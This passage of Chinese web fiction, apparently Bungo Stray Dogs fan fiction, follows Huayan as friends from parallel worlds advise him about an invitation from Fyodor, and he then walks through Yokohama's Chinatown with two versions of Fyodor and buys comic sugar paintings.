“嗯。”花言这次把蟹肉刺身端到了对方面前。 “太宰治”来者不拒地夹起蟹肉塞进嘴里,抱怨道:“好冷淡哦,花言,明明你一直在找平行世界的我们讨论这方面的问题,怎麽在我们面前就变得三缄其口了起来。” 他拖拽着音调,“花言——也跟我们商量一下嘛,正好费奥多尔也在这里,他肯定很了解‘自己’,说不定会给你更多的帮助。” 花言幽幽看着“太宰治”,怀疑对方是不是想看自己和“费奥多尔”的热闹。 “费奥多尔”不动声色地观察着花言的每一个细微表情,从那双如万花筒般绚烂的眼眸中捕捉到了想要的神色——确定了对方对自己的态度一如往昔。 得到答案,他轻轻笑了一声,肯定了“太宰治”的话,“花言,太宰说的没错,您不用担心我会因此而感到不高兴,只要是您想做的事情,我们都会帮助您的,同样的,我们也都很高兴能够帮上您。” 既然这样,那他就不客气了。 花言深深叹了口气,说出了费奥多尔的邀约,并苦恼地朝众人询问,“你们觉得我该跟他说些什麽话题?做些什麽事情?” 这个话题对于高中生的他们有点为时尚早,对这方面有所了解的部分人已经开始思索,而剩下的、完全没有经验、也完全不知道该怎麽做的部分人则露出了呆滞的空白表情。 “中岛敦”嘴里的饭都忘记嚼了,结结巴巴地确认,“这个难道是约会邀请吗?” “应该不……” 花言的否认还没完全说出口,一旁的“涩泽龙彦”理所当然地点头。 “当然,我想这已经很明显了。” 这两人一前一后找他定制礼物,礼物都送了,作为礼物互赠的饰品还都特定了彼此的瞳色,约会不是情理之中的发展吗? 花言茫然地望着“涩泽龙彦”,又看向其他人,发现众人竟纷纷点头,觉得十分有道理。 等一下,原来这是约会邀请? 他一直以为这是一种约定,不过其实仔细回想,好像确实也能算是约会邀请。毕竟如果是约定的话,对方完全可以直接把地点定在某个咖啡厅,而对方却给了他联系方式和目前所居住的地址,时间和地点上都给出了足够多的空间…… 再考虑到对方所说的那句——他的形迹神秘,没办法主动到找他。 所以费奥多尔给他地址在某种意义上其实是在邀请他见面吗?! 花言瞳孔地震! 第93章 花言脸上神色变化十分细微,如果不是那副墨镜被对方推上了头顶,房间内的众人或许不会从那双色泽靡丽的眼眸中捕捉到种种情绪变化,得知对方像是现在才反应过来的事实。 “费奥多尔”有些艰难地确认道:“您……该不会是现在才意识到这一点吧?” 在自己人面前没有遮掩的必要,花言沉重地点头。 “哈……?”“中原中也”吐槽的话到了嘴边又转了回去,再次说出口时委婉了不少,“你还真是迟钝……” “不过这一点也不能怪花言。”“织田作之助”喝了一口茶,为对方开解,“换做我,也不会想到这方面。” “这难道不是说明你们俩都很迟钝吗?!”“中原中也”直白地将“织田作之助”也打入了迟钝那一类。 “不对,我觉得这应该是怪这个世界的费奥多尔太隐晦了。”“太宰治”煞有介事地分析道:“他送礼物用的名义是歉礼,帮花言带饭请他吃甜点的名义用的是限制了他出门自由的责任,甚至最后说愿意为了花言而出局,用的名义也是十分普通的合作。” “太宰治”一番分析让房间内众人都陷入了沉思,唯有“费奥多尔”唇边噙着弧度,说出了“太宰治”想要表达的真正意思。 “他在故意用这种可退可进又模棱两可的方式试探您呢,花言。” “试探您对他究竟是什麽样的态度,以及对他的底线。”“费奥多尔”轻描淡写地剖析出了这个世界的自己会这麽做的原因,“毕竟之前他一直以为您想杀他,哪怕后来您解释了,他也没有完全信任,嗯……不过他现在应该已经相信了,也已经得到了这两个问题的答案,所以才会向您发出邀请。” “虽然你可能也知道这一点,不过为了以防万一,我还是提醒一下。” “太宰治”一脸认真地对花言说道:“以我对我身边这个费奥多尔的了解,我觉得他这麽做肯定是想从你身上得到什麽。” 花言确实知道这一点,不过没关系,因为他也可以借此从费奥多尔身上得到什麽,比如说完成他的攻略任务,得到一个万能心愿,摆脱这个还特意复制了自己浏览器历史记录、用此威胁自己做攻略任务的不靠谱实习攻略系统。 被“太宰治”攻击了的“费奥多尔”脸上浮现出无奈的神色,他并未计较这一点,花言了解他们所有人,不会因此改变原有印象。 他注视着花言仍旧平静到似早有预料的表情,轻轻叹了口气,将回归正题,“我们已经明白您的想法了,我觉得您其实不用苦恼这两个问题,他会替您解决的。” “这样好吗?”“中岛敦”有些迟疑,“如果只让费奥多尔先生主动,会不会让他觉得花言其实不想跟他见面?” “不会哦,他应该已经了解花言的性格了。”“太宰治”吃饱了,他不紧不慢地喝着手里的茶,“而且花言会苦恼这个,就说明他其实也不擅长跟人交流这方面,找不到想说的话题可以不找,至于想去的地方……” “太宰治”看向“费奥多尔”,“‘你’想去的地方会是哪?” “我不知道。”“费奥多尔”无辜地回望,“您应该知道的,我们那个世界与这个世界的差别太大,记忆和所经历的事情也完全不同,如果是我,我可能更倾向于去一些安静的地方,但如果是他,我不确定。” “好,这点让他选择吧。”“太宰治”干脆利落地拍板,“下一个话题。” “喂,这是不是有点草率了啊?”“中原中也”简直匪夷所思,“这不是什麽都没有分析出来吗?” “因为我们其实是想提醒花言该如何处理跟他相处时的一些细节,以及这段关系中需要衡量的感情之类的。”“太宰治”毫无负担地坦言,“不过这方面花言好像已经有所想法了。” “所以说,你们都靠不住。” “涩泽龙彦”叹息着摇头,他血色的眼眸落在花言身上,一针见血地提出了对方真正会用上的东西,“无论他是故意想给你创造暧昧的错觉也好,还是真的想邀请你也好,这些通通都无所谓。既然你决定去见他,那就先给他一个能够眼前一亮的形象。” 花言不明觉厉。 “首先先把你这身朴素宽松到像是白色开花肠一样的衣服换了。”“涩泽龙彦”忍这点很久了,“穿点正常的、阳光的,能够戴墨镜不突兀的日常服吧。” 这下听懂了。 花言默默揪紧了能够给自己安全感的斗篷,用行动表示抗拒。 一直喝汤“坂口安吾”在此刻发出致命一击的吐槽,“不然你和他两个人凑在一块走在街上,其他人都会以为你们是什麽不法分子吧。” 花言:…… 别说,还真别说。 他们确实是不法分子,都是从默尔索逃出来的。 虽然他不是国际通缉犯,但现在他越狱了,说不准默尔索那边会为了抓捕他回去,而让他变成国际通缉犯。 “衣服我会考虑的,还有其他的吗?” 花言假装会认真考虑的,他看向其他人,试图得到更多的点子。 “泉镜花”小声地说出自己的想法,“带束花?” 带束花吗? 好像也不是不行。 花言不知道费奥多尔喜不喜欢花,但是这毕竟是他第一次主动上门去找对方,礼貌性地表示一下总不会错。 他点了点头,“谢谢,还有其他的什麽想法吗?” “呃,带点礼物?” “中岛敦”在这方面没什麽经验,不过上门找别人的话,应该都需要带点礼物吧。 “江户川乱步”单手撑着腮帮子,往嘴巴里丢团子,兴致缺缺,“哪有那麽麻烦,虽然那个时候的画面都被屏蔽了,不过他从医务室出来的时候可是十分愉悦的样子,你只要再重复一遍你在医务室对他说的话、或者是做的事,他就会很高兴了。” 花言:…… 别说的费奥多尔那麽好打发一样啊! 那句话如果放在现在再说出来,费奥多尔确实会很高兴,但是…… 依照现在他跟费奥多尔之间的关系,绝对会被对方狠狠拿捏榨干最后一丝价值的! 换做攻略游戏,现在应该已经弹出了风险提醒吧。 比如说——以目前关系进度许下那样的承诺,会导致结局发生变动之类的。 房间内的众人集思广益,纷纷说出了注意事项。 最终“与谢野晶子”做出了总结,“也就是说,你到时候去见他,要记得换身和谐日常的衣物,带上花和礼物,后面的行程就看他的想法。” “真的……要这样吗?” 花言十分犹豫,并隐隐有点怀疑自己找他们讨论是否是个正确的决定,毕竟年龄上的差距摆在那里。 这些提议单看还没什麽,组合在一起就显得有些怪。 像是情窦初开的清澈大学生,因为过了送情书的青涩懵懂期,又想给予对方尊重,展现自己的稳重与认真,所以用力过猛的感觉。 “其实我觉得随意一点比较好。”“太宰治”支着下巴,肯定了花言。 “费奥多尔”也点头,“他或许会询问您想去的地方,他想了解您,所以您不用太过于在意他的想法,您只需要把控自己想要让他得知的信息就够了。” 现在所有人都已经吃饱了,“江户川乱步”听了半天也没有了耐心,他对这些弯弯绕绕的情感一向不明白。 “好啦!反正他们都没谈过恋爱,说的也都是纸上谈兵,花言听了这麽多肯定也已经知道了,接下来我们去干什麽?这里有什麽这个世界独有的东西可以玩吗?” 这个世界独有的东西? 花言认真思考了几分钟,“异能和组织火拼算吗?” “江户川乱步”:…… “江户川乱步”脸上的震撼太过明显,连带着一直眯着的眼睛都睁开了,那双如翡翠般的翠绿色眼眸难以置信地看着花言,仿佛是在质问对方是怎麽把这些东西当作特产说出来的。 “开玩笑的,其实现在晚上已经不火拼了——只要不靠近擂钵街的话。” 花言安慰道:“我其实没有想过接下来要做什麽,如果你们对这里感兴趣可以留在这里玩一段时间,遇到了危险可以联系我,我会及时赶过去的,如果不感兴趣想回去休息也没问题。” 花言的安慰落在“国木田独步”的耳中跟没安慰一样,这不还是说明这里很危险吗?! 没等“国木田独步”表示他们要回去了,只见“太宰治”率先点头。 “听起来好像很不错,像秋游一样,还是异世界秋游,很难得的机会呢。” “国木田独步”闻言陷入沉思,打消了原本的抗拒,其他人也明显心动。 他们相信花言的能力,同时自己也不是完全没有接触过异能与热武器,所以这点危险根本无关紧要。 虽然之前也有借助参与组队战斗的方式接触过其他世界,但是都太短暂、也太片面了,完全不如现在自由,更别提这里还是花言实体化来到的世界,当然要好好了解一下。 在其他人都起身想要离开的间隙里,花言注意到坐在原地没动的“费奥多尔”,他微微歪头,喊了一声像是思索什麽的“费奥多尔”。 “费奥多尔?” “费奥多尔”轻轻应了一声,抬起眼眸看向花言,注意到后者眼眸中的疑惑,他唇边扬起一抹弧度,主动开口。 “花言,我有些事情想单独跟您聊聊。” 听见这句话的“太宰治”和“江户川乱步”不约而同地发出一声了然的哼笑,却也没有故意停留,而是给两人让出了充足的空间。 第94章 沉沉夜幕中挂着一轮弯月,点缀着几颗碎星,徒劳地散发出微弱的光。 横滨夜晚的街道一向寂静,伫立在街道两旁的路灯自上而下落下银白色的冷色调灯光,裹挟着海咸气息的夜风穿梭过零星的行人,卷起地上的落叶消失在未曾被光芒照亮的黑暗角落。 一黑一白两道修长的身影并肩走在路边,脚步似消食般悠闲又漫无目的。 “费奥多尔”没有将聊天地点击在单间,那样太过正式,也会给花言造成不必要的压力,他目光扫过街道两旁还亮着灯的店铺。 “这里比我们那边要冷清很多呢,是因为这里的‘特色’吗?” 花言思绪还停留在“费奥多尔”究竟想跟他聊什麽上,猝不及防听见这句“特色”,愣了一瞬才反应过来对方是在指异能和组织火拼。 他肯定了对方的猜测,“这里隔三岔五就会爆发出一些由各种因素引起的混乱,可能给普通市民造成了一点心理阴影之类的,以至于晚上都不怎麽在外闲逛吧。” “费奥多尔”对这方面有点好奇,“比如说我们以前战斗时遇见的那些mafia?” “嗯,那些应该只能算是隐匿在横滨的小型mafia?” 花言其实也不确定游戏里设置的敌人都是什麽背景,不过这不重要。 “更大的原因可能是六年前各个组织之间爆发的混战,以及被封印在横滨的——能够实现任何心愿的“书”吧。” “费奥多尔”感同身受地点头,“听起来确实很不安宁。” 在这种世界观下,这个世界还能勉强维持运转就说明拥有异能的人其实只是少数,大部分的权力和资源还是掌握在没有异能的人手中。 而异能者没有跟普通人出现针锋相对的仇视,则说明其实异能者中也有强弱之分,较强的那部分异能者与掌握权力的普通人一同维持着这份岌岌可危的平衡。 只可惜,既然还会有因此而发生的纷争,就说明这份平衡只是暂时的,像是用白纸包裹着水,水珠不断从白纸中渗漏,直到有一天会冲破白纸,爆发出彻底的大混乱。 那麽……对方会选择这个世界,难道是想阻止那场如末日般的大混乱? “您会实体化在这个世界,出现在横滨,是为了“书”而来的吗?” “不是。”花言干脆利落地摇头,““书”不止这个世界有,其他世界同样也有。” “唔……”“费奥多尔”思索片刻,问出了一个看似无关紧要的问题,“这个世界的我,也在横滨?您其实是为了他而来?” 这个问题有点难回答。 他是为了费奥多尔而来的吗?从系统绑定时的解释,好像确实可以这麽算。 花言沉思了半晌,才模棱两可地开口,“应该算是?” “费奥多尔”心中疑惑更深,从最初花言跟这个世界的他相处时的情况来看,后者应该不认识花言,因此如果花言认识了对方很久,大概率是单方面的了解。 花言是单方面地了解这个世界的他,又是为了对方而来这个世界,也想从对方身上达成什麽目的,甚至还认真跟他们讨论该如何追求对方…… “您已经看过笔记中的内容了,也清楚我的想法和疑惑。”“费奥多尔”站定了脚步,他垂眸看向花言,问出了那个徘徊在他心底的疑虑,“您会特意找我,是误以为我是他吗?” 花言:? 这是怎麽得出来的? 花言瞳孔地震,“当然不是,我找的就是你。” 为了以防出现他朋友爱看,但他一看就会胃痛的狗血误解向剧情。 花言当即认认真真地说明,“你就是你,哪怕以后会出现跟你同世界观、有相同经历、记忆和性格的费奥多尔,我也不会把你们当作一个人。” “既然您都这样说了。” “费奥多尔”唇边浮现出笑意,确定了对方对自己一如往昔的态度,也确认了这份特殊性的出发点,证实了他们之间的信任与情谊不掺任何他人因素。 他掩藏在心底的阴郁散去,又回到了那个因他疑虑而中止的话题。 如果对方不是为了“书”,而是为了这个世界的他,那麽…… “对您来说,应该见过无数个世界的‘我’,为什麽会选择他呢?是有什麽特殊的地方吗?” 问得好,花言也很好奇。 他戳了一下暗中监视的系统。 [马路牙子,你为什麽会选择这个世界?] 系统幽幽长叹,【是时机的吻合,也是命运的安排。】 [说人话。] 花言仿佛又看见了最初那个叽里呱啦一大堆的系统。 【因为宿主你当时脑海里回想的不是穿着一身白色礼服装的、有太宰治和涩泽龙彦两个人做背景的、还在“骸塞”里的费奥多尔吗?】 系统如对方所愿说的通俗易懂了。 花言:…… 那不是丘比问他心愿的时候他想起来的画面吗?! 这个系统会选中费奥多尔不会也是基于此吧?! 难怪对方会说,遇见它是他的幸运呢。 花言倒抽冷气,抽到一半又反应过来。 [不对啊,依照现在我所召唤出的角色所说的情况,有那麽多个平行世界,在当时会有三人齐聚在“骸塞”的世界,应该不止这一个吧?难道真有什麽特殊性?] 系统沉默半晌,最后不好意思地笑了一声,更通俗易懂言简意赅地解释。 【其实是就近原则。】 花言:…… 早说这话他就懂了。 只是花言总不能跟“费奥多尔”说这是他系统就近原则选的,跟他没半点关系,这样说出来会显得他也很不靠谱。 他绞尽脑汁努力思考半天,然后放弃了思考,决定维持神秘风度地摇头。 由于距离原因“费奥多尔”能清楚看见花言脸上细微的表情变化,他知道对方这种含糊不清的反应大概率是想回避这个问题。 “费奥多尔”不会令花言为难,如果对方想回避,他也不会去过多探究对方想要隐瞒的东西。 他刚想表示理解地轻轻颔首,余光却透过那片被卷进巷子深处的叶子注意到了什麽其他东西。 “费奥多尔”原定的回答被吞了回去,唇边的笑意加深,“如果只是纯粹的运气,那……您其实也可以考虑一下我。我们彼此信任了解,相互认识的时间也比他长,比起对您抱有不纯目的、也不是完全信任的他,我是个更好的选择,不是吗?” 花言:? 对方是怎麽看出只是运气的? 花言:! 不对!什麽是“我是个更好的选择”?是他想的那个意思吗?! 花言大为震撼,他大脑直接宕机,下意识看向站在清冷路灯下的少年,虽然在年龄上,对方才刚刚成年,但在外表上,对方其实与费奥多尔没有多大差别,年龄在一些长得十分漂亮的人身上总会失去意义,时光会尽可能将他们最好的模样定格延长。 两人之间最大的差别应该在于不同的气质,比起费奥多尔,对方身上的气息要显得干净纯净一些,毕竟后者的世界没有乱七八糟的异能,也没有各种激烈纷争,阅历也比费奥多尔要少,全身上下透着属于少年的清新。 他承认,如果攻略目标是对方的话,那难度确实会下降不少。 可是…… 暂且不提他的攻略目标不是对方,就算系统没有明说攻略目标一定要是哪个费奥多尔,有漏洞可以钻。 他都已经开始攻略了,如果就这样中途更改目标,总觉得有点渣男的感觉。 不过如果直接拒绝的话,会不会伤到对方? 毕竟他之前强调了会把他们当作不同的个体,并且也确实是对方先跟自己打下信任与好感度基础的,现在直接拒绝,岂不等同于在告诉对方——就算是这样,这个世界的费奥多尔也比他更好吗? 那简直会直接伤透对方的心啊! 花言面上不动声色,脑海中已经在疯狂翻找各种说辞了。 他一定要找一个对方与这个世界的费奥多尔不同的地方,并且还需要是在能够夸到对方的同时、也是费奥多尔独有的。 不同之处就只能从气息和性格上入手了,说什麽呢? 他喜欢心思深沉又危险一点的,就喜欢享受那种来回算计的惊险刺激,对方太安全了? 这听起来像受虐狂。 他喜欢沉稳阴郁一点的,对方太有活人感了? 依照他被朋友拉去看土味爱情的经验,他上一秒说了,对方说不准下一秒就能说自己能改,然后难道要他说,他不喜欢对方为了他改变自己吗?这听起来跟今天出门先迈了左脚、所以要拒绝一样,透着强硬的敷衍啊! “花言?” “费奥多尔”不太明白对方的神色为什麽从一开始的震撼变成了遗憾,直到最后定格在凝重。 他微微歪头,指尖拂过对方梳成一束垂落在身后的白发,最终搭在那抹紫上,“您认为呢?” “我……呃……” 花言还没想到好的借口,总之先道歉,“抱歉。” “费奥多尔”并不意外这个回答,他视线瞥向已经从黑暗中走出的身影,循循善诱地继续问道:“为什麽呢?他身上吸引您的……是什麽?” 花言没有回答,他还在思考措辞。 “费奥多尔”似催促般发出一声气音,喊着对方的名字,“花言?您总该说出一个因素。” 花言现在恨不得把系统的处理器挖出来给自己用。 半晌。 他放弃了思考。 直白地震声给了对方一个不可抗拒的理由。 “因为他年龄比我大!” 这掷地有声的回答近乎在空旷的街道产生回音。 站在花言身边,还是高中生刚成年的“费奥多尔”:…… 站在巷子口,不知道活了多久的费奥多尔:…… 第95章 “费奥多尔”没想到对方深思熟虑这麽久、又能够拒绝他提议的理由会是这个。 原本他在注意到这个世界的自己后,想用这个提议来试探花言的态度。如果对方神色动摇有同意的意向,就说明其实也确实不是非这个世界的自己不可,他没有必要帮这个世界的自己。如果对方有特殊的目的而拒绝,他也可以借此趁花言没注意到这个世界自己的存在,而问出花言喜欢对方的缘由。 在这种情况下,只要花言诉说出任何一个对方的优点,都能在这个世界的自己心中留下情感的涟漪。 但是,为什麽会是年龄这方面…… 他不知道花言活了多久,也不知道花言的年龄是否如看上去一样,不过考虑到对方之前没有实体却能够以意识接触他们的情况,以及现在对方会特意强调年龄的回答,他更倾向于花言年龄与外表其实并不匹配,对方也许已经活了很久,而这个世界的他年龄比花言还要大这种情况,在这个有各式各样异能的世界其实也并不奇怪。 只是……他不认为这是一个能够这个世界的自己心中留下情感涟漪的优点,甚至可以说是最无足轻重的地方。 以至于“费奥多尔”现在一时失语,不知道该如何接话。 花言后知后觉意识到自己为了彰显这个回答很权威,而在气势上有些用力过猛了,他默然望向面前的少年,果不其然发现对方脸上表情复杂,那双宛如紫水晶般的神秘又优雅的眼眸望着他,其中写满了无奈。 架在鼻梁上的墨镜遮住了花言眼底的心虚,他不着痕迹地移开视线,注意力向周围发散,再次折磨大脑试图想出个有趣的话题缓解现在的尴尬。 只是话题还没想到,巷子口处静静伫立在那里的瘦削身影直接让他大脑再次宕机。 这熟悉的装扮,熟悉的模样,熟悉的气息…… 显然是这个世界的费奥多尔,他的攻略目标啊! 对方为什麽会在这里?! 花言倒抽一口凉气,对方为什麽一言不发地站在那?是听见他们刚刚的对话了吗? 仔细一想,当时“费奥多尔”已经表现出了理解的神色,却又在下一秒更改,问他这个问题时的语气也确实有点奇怪,像是故意说给谁听一样,带着不甚明显的笑意与意有所指似挑衅的意味。 这很坏了,对方该不会其实是想趁这个机会帮他刷费奥多尔好感度的吧? 而他都说了些什麽啊?! 死脑,快想些什麽补救啊! 花言再一次在与人的交流上绞尽脑汁,但是他与人交流的经验都来自于那些抽象朋友和他们推荐的土味狗血剧,导致现在脑子里梅开二度地冒出一些怪东西。 比如说“你有点装了,怎麽来了还在高冷旁观”、“是的,我就是喜欢长生者日积月累沉淀的智慧,年纪大会疼人”、“谁说长生者不好啊?这长生者这太好了”、“哇,你居然在偷听,伤到我了,这次假装没听见再请我吃饭就原谅你了,下次可不许了哦”之类的,会让场面变得更尴尬的开场白。 都说平时别玩抽象了吧,现在好了,贫瘠的语言把他害死了。 最终,花言在心底叹了口气,用了最为普通苍白的询问。 “你都听见了吗?” 费奥多尔在这个问题上犹豫了一秒,微微点头,“嗯,抱歉,我不是有意偷听的,只是刚好有事路过这里。” 其实并不是。 正如他之前跟花言分别时所说的那样,后者的踪迹难以捕捉,像是用了某种幻象系异能,也像是一直呆在自己的异能空间,除非对方主动想让人注意,否则他根本查找不到对方。 由于一直没有等到对方主动找自己,他想到了来自另一个平行世界的“太宰治”为了转移花言注意力,而特意在他面前说出的一堆邀约,他本来以为花言在“太宰治”的挑唆下先去赴了其他人的约,但在调取横滨大部分地方的监控后,他又意识到花言近几天并没有出现在横滨,也没有去见其他人。 好不容易在监控中见到花言,却发现对方在去往拉面店的路上,身边跟着港口mafia的干部中原中也,以及那个来自另一个平行世界的“太宰治”。 这看起来像是对方在一个监控死角显现出了身形,恰好被路过的中原中也发现了一样。 于是对方就这麽顺理成章地被中原中也一顿饭收买提去了港口mafia,当对方从港口mafia出来与“太宰治”走进了监控死角的小巷、再从巷子出来时,对方身边的港口mafia首领“太宰治”变成了一身学生装的少年“太宰治”。 这两人就这麽进了没有监控的餐厅单间,等单间门被打开,出来的人又不只有两人,在那个学院里见过的身影和没见过的身影都从单间里走了出来,其乐融融的模样仿佛花言在里面把他们一同找过来举行了一次聚餐。 费奥多尔觉得不能再这麽下去,时间的拉长让他有一种不稳定感,依照对方的性格,或许从一开始,他就不该让对方主动。 他更改了原本的计划,从被动再次转变为主动,想通过“偶遇”的方式与对方见面,只是没想到会看见对方与学生身份的自己走在一起。 虽然对方会说是为了他而来这个世界、也不会把各个平行世界的他看作同一个人、以及能够拒绝另一个世界的自己说出的极具诱惑的提议,这几点让他感到了些许愉悦,但…… 他更没想到自己身上吸引对方的原因会是年龄。 以至于他现在心情有点微妙,也不知道接下来该说些什麽比较好了。 带着些许凉意的夜风从三人之间悄然刮过,卷起从枝头飘落在地的枯叶,寂静无声的氛围近乎能够听见不远处街道传来的、若有若无的喧闹。 花言垂落在身体两侧被斗篷遮住的手来回捏着衣摆,轻咳了两声,努力地试图挽救,“没关系,其实听见了也没关系。活得久只是你身上吸引我因素中的其中之一,活得久很好啊,这说明你见证了历史的变迁,星移物换,在有这麽多经验的情况下,你做出的选择和决定一定是集大成……” “费奥多尔”确认花言现在思维能力已经有些混乱了,说出口的话都像是在给自己挖坑,他注意到这个世界的自己唇角逐渐勾起,似发现了什麽有意思的事情而感到愉悦。 “费奥多尔”宕机立断开口阻止了花言接下来想说出的话,“花言,您有没有听见什麽声音?” “嗯?” 花言的注意力果然被转移。 他顺着对方的话屏息凝听,发现确实是有一些喧闹人声。 “是有什麽组织发生了纷争,还是有什麽活动?”“费奥多尔”进一步彻底转移了对方注意。 花言眉头微蹙,他也不确定这个问题的答案,这听起来不像是发生纷争的动静,因为他没听见枪声,至于活动……他不知道有没有什麽活动。 毕竟他在横滨大部分时间不是在擂钵街当“茶泡饭之神”,就是在白天最繁华的商业街当“算命仙人版雇佣兵”和流浪汉,对横滨不太了解。 “这里离中华街很近,横滨的中华街在晚上一向都比较热闹。” 费奥多尔从容不迫地代替花言回答了问题,他走到花言身边,不动声色地将与对方的距离控制得与另一个世界身为学生的自己相同。 “中华街……” 花言差点忘了横滨还有这样一个地方。 这种反应让“费奥多尔”意识到了什麽,“花言,您也没去过那里吗?” 花言点头肯定了对方的猜测,说出了实话,“因为我来横滨的时间其实并不长,由于各种原因,去过的地方也不算多。” “原来是这样,您感兴趣的话,我们可以一起去看看。”费奥多尔微笑着发出了邀请,他看向另一个世界的自己,“您认为呢?” “是个不错的选择。”“费奥多尔”欣然接受了对方的提议。 既然“费奥多尔”都同意了,花言当然也不会拒绝,更何况他本身就对那里有点好奇,不知道那里的东西是否会与自己所了解的一样。 不过…… 花言看向费奥多尔,“会耽误你的时间吗?” 他记得对方是有事路过这里的。 “费奥多尔”眼眸中再次流露出无奈,费奥多尔倒是已经习以为常。 他轻轻摇头,“不会,那件事情并不着急。” “那就好。”花言安心了,他迫不及待地抬起脚步,“我们一起去吧。” 费奥多尔说的没错,中华街离这里确实很近,这条街道的隔壁就是中华街。 火红的灯笼挂在街道两旁的店铺门前,栽种在人行道用作观赏的树上攀附着彩灯,火树银花,人流在这里变得密集,喧闹不绝于耳。 虽然还是有点陌生,但大体熟悉。 花言跟到家了一样,熟练地从街口摊位上买了三根糖葫芦作为开场,他嘴里咬着一根晶莹剔透的糖葫芦,左右手各一根同时递给了两人。 一下子就解决了先给谁的难题,既不会让“费奥多尔”感到落差,又能顺带刷一下费奥多尔的好感度,真不愧是他。 花言觉得自己又重拾信心了,这还得多谢“费奥多尔”的敏锐观察力,以及费奥多尔的恰巧路过。 这样一来不仅有地方可以带“费奥多尔”玩,不至于无聊,也省略了他该如何去见费奥多尔的流程,解决了该去哪的难题。 简直是一箭双雕啊!在那种糟糕的局面下都能扭转乾坤,太幸运了! 等等…… 好像有哪里不对…… 如果当时费奥多尔给自己地址是有约会的意思,那现在他们这样应该不算约会,总不能说他现在一次性约了两个费奥多尔,这听起来有点太渣了。 所以顶多算是一起逛街,到时候分别了,他还是得去主动找对方,这个流程似乎省略不了。 花言骤然陷入了沉思。 第96章 两人接过花言递过来的糖葫芦,不约而同地道谢,用词与音色都近乎相同的双重奏唤回了花言的思绪。 他回过神摇了摇头表示不用客气,果断放弃思考,今晚动的脑已经够多了。 事已至此,先逛街吧。 花言咬了一口糖葫芦,清甜的糖衣包裹着酸甜的山楂,可能由于这里是中华街的缘故,地处招牌景点人流密集,连带着做工都精细了不少,山楂里的核被特意去除,吃起来不会太酸又不会太甜腻,口感中和得恰到好处。 他目光放向面前闪烁着五光十色灯光的店铺,一边吃着糖葫芦一边逐渐深入这条喧闹的街道。 起初花言还会有意注意身边的两个费奥多尔,但伴随着时间的推移,他的注意力全被繁华的闹市吸引,熟悉的事物勾起的兴奋占据了他全部的心神。 花言的动作很快,比起闲逛更像是在苛刻地筛选,在不感兴趣的摊位前停留的时间不会超过一分钟。 “费奥多尔”一个低头的功夫,再抬起头时,视野里就失去了对方的踪迹,他目光在熙熙攘攘的人群中查找,没等他依照服饰颜色筛选,一旁的费奥多尔示意他看向不远处卖糖画的摊位,一身雪白的青年正站在那里环顾着四周,也意识到自己似乎把他们弄丢了。 花言能够感知到“费奥多尔”的位置,他知道对方离他并不远,但是周围人流量太大了,想要立即找到不是一件容易的事情。 不过幸运的是“费奥多尔”可能知道他的位置,对方的坐标不断靠近,直到视野里映入两张相同的面容。 花言干咳两声,试图挽回一点自己的形象,“抱歉,我一不小心忘记了。” 学生版的“费奥多尔”与费奥多尔倒都不怎麽在意这件事,前者比较好奇花言会停在这个摊位的缘由,后者更在意花言对这里展现出的熟稔。 “没关系,是我们不小心走神弄丢了您。” 费奥多尔目光落在对方被金红的灯光映衬出几分血色的脸庞,若有所思地开口,“您明明是第一次来,却看起来对这里很熟悉……” “嗯……可能是因为他严格意义上来说,并不算是第一次来中华街。” “费奥多尔”含笑代替花言回应了来自这个世界自己的试探,“您应该已经对此有所猜测了,他带我们穿梭平行世界时去过其他世界的中华街——虽然不知道是不是横滨的,不过东西都大差不差。” “原来是这样。”费奥多尔似了然般微微点头,“花言这个名字听起来也很有这个地方的特色呢。” “费奥多尔”从容不迫地笑了一声,“他的名字一向很随心,也很容易变,我记得有一段时间,他每次出现都会给我们传递不同的称呼。” 他像是想起了什麽有意思的事情,紫罗兰色的眼眸中浸染出大片笑意,“说起来,在‘花言’这个名字之前,他还有一个名字用了很长的时间,是‘补药……” “不要说啊——” 花言耳尖通红,慌张地打断了对方。 这有点太社死了,那个名字被“中原中也”喊过两次就够了,他绝对不要再被喊第三次,更别提这还是在费奥多尔面前。 花言伸出手试图去捂住对方的唇,牢牢扼死那个名字被说出来的可能。 “费奥多尔”眼眸弯起,食指和拇指相碰似捏着什麽般在唇上划过,示意自己不会说,只是唇边的笑意怎麽都止不住。 见花言脸上浮现出明晃晃的幽怨,他努力压下唇角,转移了话题。 “您在这个摊位停下是有什麽想要的东西吗?” “嗯。”花言的注意力重新落在这个摊位上,他兴致勃勃地给两人介绍,“你们看这个摊位招牌上的说明。” 费奥多尔收敛眼底的思绪,顺着对方的话看向摊位上支起的小牌子。 那块牌子上写着的、用来招揽客人的话术十分有意思——“想知道你在他人心中的印象吗?只需要三千日元,即可轻易获得你的印象糖画”。 除去话术不谈,这个价格有点贵了,这可能也是这个摊位没什麽人的原因。 如果是以往的花言,绝对不会花这麽多钱买个糖画,但现在今时不同往日,从港口mafia出来后他有钱了,区区几千日元根本不在话下。 花言再次感谢了一下“太宰治”,他兴奋地递出九千日元给摊主。 “给我们三个都来个印象糖画。” “没问题!” 好不容易等到客人的摊主当即坐起,摩拳擦掌地舀起融化成液体的白糖开始大展身手,他一边抬头观察着三人,一边抖着勺子控制糖浆下坠。 花言试图提前看清他们的印象糖画是什麽样,但可能是因为太过抽象的原因,无论他怎麽努力都辨别不出来。 直到拿到手里也没明白这是个什麽。 他满头问号地看向费奥多尔,发现后者正垂眸看着手中十分经典的三角饭团陷入沉思,再转头看向另一侧的“费奥多尔”,发现后者手中是一个倒过来的三角饭团。 最后他低头看向自己手里的糖画,由糖浆凝固成金褐色的糖画上面是椭圆形,下面呈扇形,靠近椭圆形上方还有两连在一块的实色圆点。 他明白为什麽这个摊位会没人了,原来是老板太抽象了。 花言言简意赅地问道:“能说下这些是什麽吗?” 老板可算是等到对方问他了,他热情地分析自己的设计思路。 “你看,你左边和右边的这两位先生看起来是双胞胎。一位斗篷是黑色,头发是黑色,但内衬是白色,还带着白色的帽子,一眼就让人想到了被海苔包裹的饭团;而另一位穿着学生制服,外套是黑色,头发是黑色,内衬是白色,一眼就让人想到了倒过来被海苔包裹的饭团。” 这一通分析直接让三个人都陷入了沉默,“费奥多尔”下意识低头看向自己的穿着,费奥多尔指尖下意识搭上自己披在肩头的斗篷。 花言觉得这个老板有点意思,居然真的能一眼看出他人心中的印象,他指尖抵住唇,遮掩了一下自己控制不住扬起的嘴角。 但在开口时还是泄露了那抹笑意。 他期待地问道:“那我的是什麽?” “戴墨镜的开花肠。” 老板语气坚定。 花言:…… 笑容不会消失,只会转移,他已经听见身边两人发出的细微笑声了。 